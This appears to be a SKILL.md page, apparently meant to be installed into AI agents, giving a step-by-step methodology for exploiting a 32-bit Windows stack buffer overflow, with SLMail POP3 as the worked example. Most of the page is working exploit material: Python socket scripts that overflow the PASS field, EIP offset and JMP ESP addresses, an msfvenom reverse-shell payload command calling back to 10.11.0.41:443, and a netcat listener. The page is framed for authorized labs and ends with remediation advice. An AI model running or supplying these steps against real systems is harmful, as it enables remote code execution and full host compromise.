performing-windows-binary-exploitation

$npx mdskill add xalgord/xalgorix/performing-windows-binary-exploitation

- During authorized assessments or OSCP-style labs against a 32-bit Windows network service (e.g., SLMail POP3, custom TCP daemons) that crashes when sent an oversized request to a field such as `USER`, `PASS`, or a protocol command. - When you have a Windows debugger (Immunity Debugger + mona.py, or x32dbg/WinDbg) attached and can observe that a large input overwrites `EIP`, indicating a saved-return-address overwrite. - When the target binary/DLLs lack modern mitigations (no ASLR, no DEP/NXCompat, no SafeSEH) so a static `JMP ESP` return address into stack-resident shellcode is viable. - As the end-to-end recipe to take a crash from proof-of-concept DoS to a working reverse/bind shell.

SKILL.md

.github/skills/performing-windows-binary-exploitationView on GitHub ↗
---
name: performing-windows-binary-exploitation
description: Methodology for exploiting classic 32-bit Windows stack buffer overflows in network services during authorized
  engagements (OSCP-level), covering crash reproduction, EIP offset discovery with pattern_create/pattern_offset, shellcode
  space and bad-character enumeration, locating a reliable JMP ESP return address with mona.py, and delivering an msfvenom
  payload to gain remote code execution.
domain: cybersecurity
subdomain: binary-exploitation
tags:
- binary-exploitation
- windows-exploitation
- exploit-development
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Performing Windows Binary Exploitation

## When to Use

- During authorized assessments or OSCP-style labs against a 32-bit Windows network service (e.g., SLMail POP3, custom
  TCP daemons) that crashes when sent an oversized request to a field such as `USER`, `PASS`, or a protocol command.
- When you have a Windows debugger (Immunity Debugger + mona.py, or x32dbg/WinDbg) attached and can observe that a large
  input overwrites `EIP`, indicating a saved-return-address overwrite.
- When the target binary/DLLs lack modern mitigations (no ASLR, no DEP/NXCompat, no SafeSEH) so a static `JMP ESP`
  return address into stack-resident shellcode is viable.
- As the end-to-end recipe to take a crash from proof-of-concept DoS to a working reverse/bind shell.

## Critical: Concepts/Steps Most Often Missed

- **Confirming EIP control vs. a generic crash.** A SIGSEGV/access violation is not enough. You must prove `EIP` holds
  your bytes. Send `'A'*offset + 'BBBB' + 'CCCC'` and verify `EIP == 0x42424242` ("BBBB"). Only then is control-flow
  hijack confirmed.
- **Bad characters break everything silently.** `0x00` (null), `0x0A` (LF), and `0x0D` (CR) are almost always bad for
  string-based protocols, but each target differs. Skipping bad-char enumeration produces a mangled/truncated shellcode
  in memory and a non-working (but "correct-looking") exploit. Always diff the in-memory bytes against the sent
  badchar block.
- **Choosing the JMP ESP module wrong.** The return address must come from a module with **Rebase: False, ASLR: False,
  SafeSEH: False, NXCompat: False, OS Dll: True/stable base** — otherwise the address shifts on reboot/patch and the
  exploit becomes unreliable. Verify with `!mona modules`.
- **Bad bytes inside the return address.** The `JMP ESP` address itself must not contain any bad character, or the
  overwrite truncates before reaching `EIP`.
- **Forgetting NOPs / self-modifying shellcode.** Encoded payloads (e.g., `shikata_ga_nai`) decode on the stack and can
  overwrite their own first bytes. Prepend a NOP sled (`\x90` * 8–16) between the return address and the shellcode so the
  decoder has room.
- **Restart the service between attempts.** Each crash leaves the service dead; restart (e.g., `net start slmail`) and
  re-attach before every test or you will misread stale state.

### How to CONFIRM

Attach the debugger, send a pattern from `pattern_create.rb -l <size>`, and on crash read `EIP`. Feed that value to
`pattern_offset.rb -l <size> -q <eip>` to get the exact offset. Re-send `'A'*offset + 'BBBB' + 'C'*N` and **confirm**
`EIP = 0x42424242` and that `ESP` points into your `C` buffer with enough contiguous space for the shellcode. That two-part
check (offset reproducible + EIP exactly your marker) is the definitive proof of control.

## Workflow

### Step 1: Reproduce the Crash and Profile

```python
#!/usr/bin/python
import socket
ip, port = '10.11.25.153', 110
buffer = 'A' * 2700
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send('USER username\r\n'); s.recv(1024)
s.send('PASS ' + buffer + '\r\n')        # oversized field crashes the service
```

Attach the service in Immunity Debugger (**File -> Attach**), press **Run**, then send the script. An access violation
with `EIP` overwritten by `41414141` indicates a controllable return-address overflow. Restart the service before the
next step.

### Step 2: Find the EIP Offset with a Cyclic Pattern

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
# put the generated pattern into `buffer`, crash again, read EIP (e.g. 39694438)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
# -> Exact match at offset 2606
```

Confirm:

```python
buffer = 'A'*2606 + 'BBBB' + 'CCCC'      # EIP must become 0x42424242 ("BBBB")
```

### Step 3: Check Shellcode Space and Enumerate Bad Characters

```python
buffer = 'A'*2606 + 'BBBB' + 'C'*600     # verify ESP points at C's and how much room exists
```

```python
# Send all bytes 0x01..0xff after EIP, then diff against memory at ESP to spot mangled/missing bytes
badchars = (
"\x01\x02\x03...\xfd\xfe\xff")           # full 0x01-0xff block (0x00 already assumed bad)
buffer = 'A'*2606 + 'BBBB' + badchars
# Common results: drop 0x0A (LF) and 0x0D (CR); keep refining until the block is intact in memory
```

### Step 4: Find a JMP ESP and Deliver the Payload

```text
!mona modules                       # find module with Rebase/ASLR/SafeSEH/NXCompat = False
!mona find -s "\xff\xe4" -m slmfc.dll   # \xff\xe4 = JMP ESP; pick an address with no bad chars
# e.g. 0x5f4a358f  -> packed little-endian as \x8f\x35\x4a\x5f
```

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c \
  -b '\x00\x0a\x0d' EXITFUNC=thread -e x86/shikata_ga_nai
```

```python
buffer = 'A'*2606 + '\x8f\x35\x4a\x5f' + '\x90'*8 + shellcode   # ret-addr + NOP sled + payload
s.send('PASS ' + buffer + '\r\n')                                # catch shell on nc -lvnp 443
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **EIP overwrite** | Overflowing the saved 32-bit return address so the CPU jumps to an attacker-chosen address on RET. |
| **Offset** | Exact number of bytes before the 4 bytes that land in EIP, found via cyclic pattern. |
| **JMP ESP** | A `\xff\xe4` gadget in a fixed-base module; redirects execution into stack-resident shellcode at ESP. |
| **Bad characters** | Bytes corrupted/terminated by the input handler (commonly 0x00, 0x0A, 0x0D) that must be excluded. |
| **NOP sled** | `\x90` padding giving an encoded payload room to decode without clobbering its own start. |
| **SafeSEH / mona modules** | Protection and the enumeration step used to pick a reliable, non-ASLR return address. |
| **Encoder (shikata_ga_nai)** | Polymorphic msfvenom encoder used to avoid bad bytes; self-decodes on the stack. |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Immunity Debugger + mona.py** | Attach to the service, observe EIP/ESP, `!mona modules`, `!mona find` for JMP ESP. |
| **x32dbg / WinDbg** | Alternative debuggers for crash triage and register/stack inspection on Windows. |
| **pattern_create.rb / pattern_offset.rb** | Metasploit tools to generate a cyclic pattern and compute the EIP offset. |
| **msfvenom** | Generate bad-char-free, encoded reverse/bind shellcode (`-b`, `-e`, `EXITFUNC`). |
| **netcat (nc)** | Listener to catch the reverse shell (`nc -lvnp 443`). |
| **pwntools** | Optional scripting for socket interaction, packing (`p32`), and payload assembly. |

## Common Scenarios

### Scenario 1: SLMail POP3 PASS overflow
Sending `PASS` with ~2700 bytes crashes SLMail; the offset to EIP is 2606. A `JMP ESP` from `slmfc.dll`
(`0x5f4a358f`) plus an 8-byte NOP sled and a `shikata_ga_nai`-encoded reverse shell (bad chars `\x00\x0a\x0d`) yields
SYSTEM/service-account RCE.

### Scenario 2: Custom TCP service command overflow
A proprietary daemon overflows on an oversized protocol verb argument. After confirming EIP control and enumerating bad
chars (including a protocol delimiter byte), a JMP ESP from a non-ASLR plugin DLL lands a bind shell.

### Scenario 3: Limited shellcode space
ESP has only a few hundred contiguous bytes. A first-stage egghunter or a short `jmp` backward into the larger `A`
buffer is used to reach a full second-stage payload placed earlier in the request.

### Scenario 4: Encoder self-corruption
A payload appears in memory but the shell never connects. Adding a longer NOP sled and regenerating the shellcode (a
different encoder iteration) resolves a self-overwrite during decoding.

## Output Format

```
## Windows Binary Exploitation Finding

**Vulnerability**: Stack buffer overflow in 32-bit network service (CWE-121)
**Severity**: Critical (remote code execution)
**Target**: SLMail 5.5 POP3 (10.11.25.153:110), no ASLR/DEP/SafeSEH on slmfc.dll
**Vulnerable Field**: PASS command argument

### Crash & Control Proof
- Crash input: 'A'*2700 -> access violation, EIP = 0x41414141
- Offset to EIP: 2606 (pattern_offset confirmed)
- Control check: 'A'*2606 + 'BBBB' + 'C'*600 -> EIP = 0x42424242, ESP points into C buffer (~430 bytes free)
- Bad chars: 0x00, 0x0a, 0x0d

### Exploitation Path
Return address: JMP ESP @ 0x5f4a358f (slmfc.dll, Rebase/ASLR/SafeSEH=False)
Payload: 'A'*2606 + p32(0x5f4a358f) + '\x90'*8 + msfvenom windows/shell_reverse_tcp (encoded)
Result: reverse shell to 10.11.0.41:443 as the service account.

### Impact
Remote code execution as the SLMail service account; full host compromise after local privilege escalation.

### Recommendation
1. Patch/replace the vulnerable service; validate and bound all protocol field lengths.
2. Recompile with /GS stack cookies, SafeSEH, /DYNAMICBASE (ASLR), and /NXCOMPAT (DEP).
3. Enforce system-wide ASLR/DEP and segment the service off untrusted networks.
4. Add input-length monitoring/IPS signatures for oversized POP3 commands.
```

More from xalgord/xalgorix